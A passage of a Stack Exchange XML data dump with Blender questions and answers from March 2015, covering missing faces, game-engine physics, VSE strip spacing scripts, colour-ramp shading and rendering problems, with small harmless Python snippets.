  <row Id="27737" PostTypeId="2" ParentId="27726" CreationDate="2015-03-27T05:17:40.180" Score="1" Body="&lt;p&gt;It's a common mistake You probably selected all the faces and hit &lt;strong&gt;Delete-&gt;Only_Faces&lt;/strong&gt;.  So only the vertices and edges remained on the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UaAn7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if faces are missing you can go in edit mode and face select mode.&#xA;The faces it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ISeot.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No faces will be like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wMrWE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-27T05:17:40.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27738" PostTypeId="2" ParentId="8737" CreationDate="2015-03-27T06:44:55.773" Score="4" Body="&lt;p&gt;You can do that with logic bricks alone. So you do not need a constantly running python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your object has a mass of 1.0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XIYiq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;activated &lt;strong&gt;once&lt;/strong&gt; with an Alyways Sensor [with deactivated True Level Triggering]&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Remarks&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have a different mass and/or gravity, you multiply the gravity with the mass to get the counterforce: Force.z = gravity * mass&lt;/li&gt;&#xA;&lt;li&gt;Ensure the counterforce is given in global coordinates ([L] must be disabled), otherwise you get a rocket.&lt;/li&gt;&#xA;&lt;li&gt;Gravity is per convention a force along the global -Z axis. The counterforce must be along +Z (positive Z-coordinate)&lt;/li&gt;&#xA;&lt;li&gt;Do not wonder that your floating object is moving when touched, that is normal. The only reason it would stop by itself would be air friction. This is not part of the gravity.&lt;/li&gt;&#xA;&lt;li&gt;This method does not work with swimming/diving objects as the counter force would not be constant.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-03-27T06:44:55.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27739" PostTypeId="1" CreationDate="2015-03-27T06:58:15.923" Score="0" ViewCount="429" Body="&lt;p&gt;I got the grass essentials pack, and followed the tutorial, but every time I put the grass in as the tutorial shows, it is a grey color and does not change.  I also cannot change the density, it seems like there is very little grass there that is all grey.  Am I missing some button or something from the tutorial? The link for the tutorial in question is: &lt;a href=&quot;http://www.blenderguru.com/tutorials/make-grassy-meadow-scene/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blenderguru.com/tutorials/make-grassy-meadow-scene/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/139/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=139&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if I have something wrong here. I have tried going through the tutorial several times and it continues putting the grass part in as grey.  If I just add the grass in to blender by itself, it appears as expected, and multi-green color.&lt;/p&gt;&#xA;" OwnerUserId="13206" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-03-28T04:50:05.360" Title="I am having trouble with the Meadow scene tutorial on Blender guru" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27740" PostTypeId="1" AcceptedAnswerId="27763" CreationDate="2015-03-27T08:41:35.130" Score="2" ViewCount="252" Body="&lt;p&gt;How to &lt;strong&gt;add equal distance&lt;/strong&gt; between the selected strips ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a &lt;strong&gt;script to access strips&lt;/strong&gt; it will be great ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The I am aware or &lt;strong&gt;Shift&lt;/strong&gt; + &lt;strong&gt;=&lt;/strong&gt; to remove the gap between strips&#xA;I want to do the reverse of it I want to add equal space&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xCdtj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-03-31T15:23:34.993" Title="VSE script for to add constant gaps between strips?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27742" PostTypeId="2" ParentId="21405" CreationDate="2015-03-27T11:30:28.253" Score="4" Body="&lt;p&gt;You can play videos (and images and render from other cameras) with the VideoTexture module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test that with &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?341884&quot; rel=&quot;nofollow&quot;&gt;Dynamic Texture 1.0 - easy to use VideoTexture&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: You can find the official documentation of the VideoTexture module (incl. example) in the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bge.texture.html&quot; rel=&quot;nofollow&quot;&gt;BGE API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-03-31T12:33:19.540" LastActivityDate="2015-03-31T12:33:19.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27743" PostTypeId="2" ParentId="21403" CreationDate="2015-03-27T11:41:15.963" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does running a script via Module mode require importing bge?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because the import statement is the proper way of writing Python code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The auto-import within script mode is a dirty shortcut. It is still there for backward compatibility. But it is no good design.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Pro&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You always need it to access the the BGE context anyway. &#xA;(In module mode you do not really need it as you can get access via function arguments.)&lt;/li&gt;&#xA;&lt;li&gt;Bge is not a real Python module. It is a wrapper around the BGE native code.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Contra&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It violates the Python convention to show where objects are coming from (defined by the code or imported from other modules)&lt;/li&gt;&#xA;&lt;li&gt;It hides the fact that this module is imported at all. So a reader will never see an explicit assignment to &lt;strong&gt;bge&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The bge module should behave like regular Python modules, so it should be imported as any other Python module too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I strongly suggest to add the import statement in script mode too and ignore the auto-import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-03-27T11:41:15.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27744" PostTypeId="1" CreationDate="2015-03-27T11:49:44.887" Score="6" ViewCount="6844" Body="&lt;p&gt;If an object has one or more children or other descendants, you would expect that when you apply a modifier to that object, it would apply to the descendants as well. At least for the Array and Mirror modifiers, this would be extremely useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this does not happen. Empty objects are recommended for grouping objects together, but they cannot even have modifiers -- there would be no point, unless they could be applied to the children, but this doesn't work even for normal parent objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to report this deficiency as a bug, but it was immediately closed as &quot;Invalid&quot;, by somebody who apparently didn't bother to read it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/T44150&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/T44150&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That bug report has some examples attached, of a situation where this ability is in fact rather necessary -- empty parents are being used to apply coordinate transforms, rather than grouping objects, but this then prevents the Array modifier from being used in the necessary way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any rational reason why at least the Array and Mirror modifiers cannot be applied to child objects, at least as an option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other people are asking the same question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/24841/applying-array-modifier-to-multiple-items&quot;&gt;Applying array modifier to multiple items&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been suggested that my question is a duplicate of the one above. They are certainly related to the same issue (which is why I included the reference in the first place). However, the question that person actually asks is &quot;What am I thinking wrong?&quot; -- as if he's misunderstood the situation. I don't think I have misunderstood the situation, and the question I'm asking is why at least the Array and Mirror modifiers don't work in the way a lot of people would expect.&lt;/p&gt;&#xA;" OwnerUserId="13429" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-04-04T06:45:22.953" Title="Why are modifiers not applied to child objects?" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;workflow&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="27745" PostTypeId="2" ParentId="9079" CreationDate="2015-03-27T11:56:12.377" Score="1" Body="&lt;p&gt;As your Cylinder should be presented as cylinder towards the physics too, you need to change the Properties/Physics/Collision Bounds/Bounds to Cylinder. You will see the dotted cage (representing the physics shape) will turn into a cylinder too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; If the dotted mesh is not aligned correctly then turn the display mesh in edit mode that it fits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternative:&lt;/strong&gt; Bounds: Convex Hull or Triangle Mesh - be aware they are more expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-03-27T11:56:12.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27746" PostTypeId="2" ParentId="8463" CreationDate="2015-03-27T12:01:49.233" Score="1" Body="&lt;p&gt;&lt;strong&gt;bpy&lt;/strong&gt; is the Blender API. This means you change the object within the Blender scene not the running BGE scene. Do not use it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The API for the BGE is &lt;strong&gt;bge&lt;/strong&gt;. The &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bge.types.BL_ArmatureObject.html?highlight=armature#bge.types.BL_ArmatureObject&quot; rel=&quot;nofollow&quot;&gt;armature&lt;/a&gt; gives you access to the (bge-) channels too.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-03-27T12:01:49.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27747" PostTypeId="1" AcceptedAnswerId="27752" CreationDate="2015-03-27T12:02:57.120" Score="12" ViewCount="2112" Body="&lt;p&gt;I recently started using blender for a project. I have tried using a color ramp with a transition between the 4 colours, but the result is too smooth when applied:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gdj3o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im aiming to achieve this kind of effect:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0ZVv5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way, or is it the long winded way?&lt;/p&gt;&#xA;" OwnerUserId="13431" LastEditorUserId="12" LastEditDate="2015-03-27T13:36:16.967" LastActivityDate="2015-03-30T14:04:23.980" Title="Is there a smart way to apply a better transition between colours while maintaining one solid colour per face?" Tags="&lt;materials&gt;&lt;workflow&gt;&lt;shaders&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27748" PostTypeId="1" CreationDate="2015-03-27T13:28:43.410" Score="0" ViewCount="262" Body="&lt;p&gt;I tried various tutorials for UV unwrapping following every single step.&#xA;In UV Editing window I can open image but it will never actually link to the object. It always remains a dark grey. Any idea what I'm doing wrong?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PMzb9.jpg&quot; alt=&quot;Globe&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13433" LastActivityDate="2015-03-27T16:22:18.530" Title="UV unwrap / Cannot link image to face or any other object" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27749" PostTypeId="2" ParentId="27747" CreationDate="2015-03-27T14:10:55.540" Score="4" Body="&lt;p&gt;I think you might want to set up Color Ramp node like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bu7R1.jpg&quot; alt=&quot;color ramp set up&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, color transition will be a lot more sharper. &#xA;To control the sharpness you can drag the control points in and out or change the Interpolation type (it's better than using default Linear one in this case, because it provides still smooth but more visible transitions, imo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If rendered, objects might look like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GHKel.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-03-27T14:10:55.540" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27751" PostTypeId="2" ParentId="19526" CreationDate="2015-03-27T15:19:37.290" Score="1" Body="&lt;p&gt;For this problem I wrote the &lt;a href=&quot;https://github.com/grgr/no_slide&quot; rel=&quot;nofollow&quot;&gt;NoSlide&lt;/a&gt; addon for blender. &#xA;With it you can define for your walk action the frames for each foot in which it should rest on the ground. Like this the character mesh will move in space exactly the changed distance between the foot and the root but the foot will rest.&lt;/p&gt;&#xA;" OwnerUserId="13437" LastEditorUserId="13437" LastEditDate="2015-03-27T20:55:22.057" LastActivityDate="2015-03-27T20:55:22.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27752" PostTypeId="2" ParentId="27747" CreationDate="2015-03-27T15:19:42.863" Score="11" Body="&lt;p&gt;The following script reads the face position normalize it and assign it to the vertex color of this face ( new group named 'face_pos' will be created ) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;obj_data = obj.data&#xA;group_name = 'face_pos'&#xA;#check for existing group with the same name&#xA;if None == obj_data.vertex_colors.get(group_name): &#xA;    obj_data.vertex_colors.new(name=group_name)&#xA;color_map =  obj_data.vertex_colors[group_name]&#xA;&#xA;#collect dimension info&#xA;dim = obj.dimensions&#xA;min_x = -1*min([p.center[0] for p in obj_data.polygons])&#xA;min_y = -1*min([p.center[1] for p in obj_data.polygons])&#xA;min_z = -1*min([p.center[2] for p in obj_data.polygons])&#xA;&#xA;for poly in obj_data.polygons:&#xA;    pos = poly.center&#xA;    color = ((pos[0]+min_x)/dim[0], (pos[1]+min_y)/dim[1], (pos[2]+min_z)/dim[2])&#xA;    for loop_ind in poly.loop_indices:&#xA;        color_map.data[loop_ind].color = color &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we wont apply this vertex color but instead we use it as a face position input in the material nodes using the Attribute node and the vertex color name , then we manipulate this information to create the desired effect &lt;/p&gt;&#xA;&#xA;&lt;p&gt;material node &#xA;&lt;img src=&quot;https://i.stack.imgur.com/or8Kc.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;the result is color transition for faces not points :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mKmmC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This solution maybe a bit complicated but it introduce a trick for accessing other properties in cycles(this is not like drivers since it updates per point not frame)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-27T15:19:42.863" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27754" PostTypeId="1" CreationDate="2015-03-27T15:52:01.437" Score="2" ViewCount="569" Body="&lt;p&gt;I need to make a car from several parts. I created the lower body and the upper body. These parts (separated objects) will be 3D printed. I want to check if the objects fit together. I need a tool which will show the edges (or faces) which are intersecting, and I need a glue gap too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find this tool.&#xA;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;car parts&lt;/em&gt;&lt;/strong&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/kOU6E.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;glue area&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K6wQs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13438" LastEditorUserId="5113" LastEditDate="2015-03-27T17:14:43.190" LastActivityDate="2015-03-27T17:14:43.190" Title="Is there a tool to check if two meshes will fit together?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;3d-printing&gt;&lt;measurement&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27755" PostTypeId="1" AcceptedAnswerId="27795" CreationDate="2015-03-27T16:16:25.250" Score="3" ViewCount="1712" Body="&lt;p&gt;I have a complex scene with physics (not baked) and I discovered a long way into the scene that I need to scale everything up for the physics to do it's thing right. I scaled everything up, pressed play and everything went to crap. My keyframes are interfering. Is there a way to set the scale of all of the objects across all of the keyframes without messing up the other keyframe settings? &lt;/p&gt;&#xA;" OwnerUserId="13042" LastEditorUserId="3078" LastEditDate="2015-03-27T19:50:35.793" LastActivityDate="2015-03-28T16:16:55.933" Title="How to set scale across all blender objects and keyframes?" Tags="&lt;physics&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27757" PostTypeId="1" CreationDate="2015-03-27T16:31:11.193" Score="1" ViewCount="1598" Body="&lt;p&gt;I had a problem with blender only rendering the background color of my blend file.  The blend file is availble for download.  Could someone tell me what is up with it?&#xA;&lt;a href=&quot;http://www.mediafire.com/download/ndo7g529foa6kgb/glass2.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/ndo7g529foa6kgb/glass2.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13440" LastActivityDate="2015-03-27T16:39:55.600" Title="blender only rendering background color" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-03-27T16:40:40.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="27758" PostTypeId="2" ParentId="27757" CreationDate="2015-03-27T16:39:55.600" Score="4" Body="&lt;p&gt;A lot of objects are disabled for rendering:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mVlob.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see: &lt;a href=&quot;https://blender.stackexchange.com/questions/964/object-not-visible-in-render&quot;&gt;Object not visible in render&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-03-27T16:39:55.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27759" PostTypeId="2" ParentId="27334" CreationDate="2015-03-27T17:31:56.573" Score="11" Body="&lt;p&gt;I am amazed &lt;code&gt;mathutils.Vector&lt;/code&gt; class does not support vector scaling by another vector!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be for example useful when you get scale vector from matrix decomposition and you want to scale other vectors accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is with a generator expression for better performance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vec3 = Vector(x * y for x, y in zip(vec1, vec2))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="55" LastEditDate="2015-03-27T19:38:43.847" LastActivityDate="2015-03-27T19:38:43.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27761" PostTypeId="1" CreationDate="2015-03-27T18:00:28.430" Score="1" ViewCount="63" Body="&lt;p&gt;Working with texturing/shading a spaceship in Cycles when I noticed that the transparent shader isn't being transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ship with plain diffuse:&#xA;&lt;a href=&quot;https://imgur.com/bDJXa7m&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/bDJXa7m.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then ship with transparent shader applied:&#xA;&lt;a href=&quot;https://imgur.com/X9n8sv4&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/X9n8sv4.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different angles shows more/less of the spaceship being in that weird blackness. &lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="241" LastEditDate="2015-03-27T18:05:56.743" LastActivityDate="2015-03-27T18:05:56.743" Title="Transparent Shader not Transparent" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;shaders&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-03-27T18:51:09.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="27763" PostTypeId="2" ParentId="27740" CreationDate="2015-03-27T19:07:37.353" Score="4" Body="&lt;p&gt;I turned your question into &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/vse-strip-gap.html&quot; rel=&quot;nofollow&quot;&gt;one of my example scripts&lt;/a&gt;.  I'll include it inline because that's how stackexchange works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;def gap_strips(strips, gap):&#xA;    strips = sorted(strips, key=lambda strip: strip.frame_start)&#xA;&#xA;    cleanup = []&#xA;    for i in range(1, len(strips)):&#xA;        st0 = strips[i-1]&#xA;        st1 = strips[i]&#xA;        cleanup.append( [ st1, st1.channel ])&#xA;        st1.frame_start = st0.frame_start + st0.frame_final_duration + gap&#xA;    # blender's anti-overlap code might change the channel.  put it back.&#xA;    for x in cleanup:&#xA;        x[0].channel = x[1]&#xA;&#xA;def gap_selected_strips(gap):&#xA;    gap_strips( bpy.context.selected_editable_sequences , gap)&#xA;&#xA;&#xA;gap_selected_strips(15)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-03-31T15:23:34.993" LastActivityDate="2015-03-31T15:23:34.993" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27764" PostTypeId="1" AcceptedAnswerId="27771" CreationDate="2015-03-27T19:50:43.467" Score="16" ViewCount="3443" Body="&lt;p&gt;In the blender manual the options for &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/blender_render/materials/nodes/types/input/camera_data.html?highlight=camera%20data&quot; rel=&quot;nofollow noreferrer&quot;&gt;camera data node&lt;/a&gt; are explained like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;View Vector&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A Camera space vector from the camera to the shading point.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;View Z Depth&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;How far away each pixel is from the camera&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;View Distance&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Distance from the camera to the shading point&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gm0MD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what is the shading point? How is each of these options different form the other, and in which cases should one be used instead of the other? &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2018-06-19T21:16:20.200" LastActivityDate="2018-06-19T21:16:20.200" Title="Using the Camera Data Node" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="27765" PostTypeId="2" ParentId="27733" CreationDate="2015-03-27T20:10:25.647" Score="1" Body="&lt;p&gt;From your image it appears that your light source is excluded from the render. In the outliner in the top right of your screen, enable your lamp rendering by clicking on the grayed out camera icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WAFHr.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-03-27T20:10:25.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27767" PostTypeId="1" CreationDate="2015-03-27T21:39:36.813" Score="3" ViewCount="4601" Body="&lt;p&gt;Recently I saw new cycles wood shader from CG Cookie, that looks very impressive and I was wondering if it is possible somehow to mix few wave textures to achieve natural looking knots on the wood.&#xA;Here are some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gl70m.jpg&quot; alt=&quot;Knot1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k9rGB.jpg&quot; alt=&quot;Knot2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first Attempt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/140/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=140&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-03-27T23:21:21.410" Title="How to make procedural wood material with knots?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27769" PostTypeId="2" ParentId="27747" CreationDate="2015-03-27T23:03:58.383" Score="5" Body="&lt;p&gt;if you select all of the faces in Edit mode and then use Alt+e to access the Extrude options menu-&gt;Individual.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press the &lt;kbd&gt;Esc&lt;/kbd&gt; key to cancel the movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;i&lt;/kbd&gt; to invert the selection&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;x&lt;/kbd&gt; to access the Delete menu and select 'Faces'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you should be left with only the extruded faces and they should be all separate components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OPTIONAL:Personally, I would bake these results to a UV map probably using the 'Lightmap Pack'setting.&lt;br&gt;&#xA;This way, the individual faces can be re-joined after baking.  This helps keep the Outliner clean.  The 3D Viewport should also run much faster when many Objects are joined together into one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that everything is selected and press &lt;kbd&gt;p&lt;/kbd&gt; to access 'Separate-&gt;By Loose Parts'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now enter Object Mode and make sure that all the separate pieces are selected then use the shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt;&#xA;to access the 'Set Origin' Menu.  Choose the option 'Origin To Center Of Mass' and now the model is ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'Node: &lt;strong&gt;&lt;em&gt;Input -&gt; Object Info -&gt; Random&lt;/em&gt;&lt;/strong&gt;' is key here.  This is why the faces are all separate objects.  Random greyscale values will be assigned to each separate model and this can be used to modulate the colors ramp so the color transition is a bit more scattered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple node setup that uses the random node to change the relative brightness of triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0s3aH.png&quot; 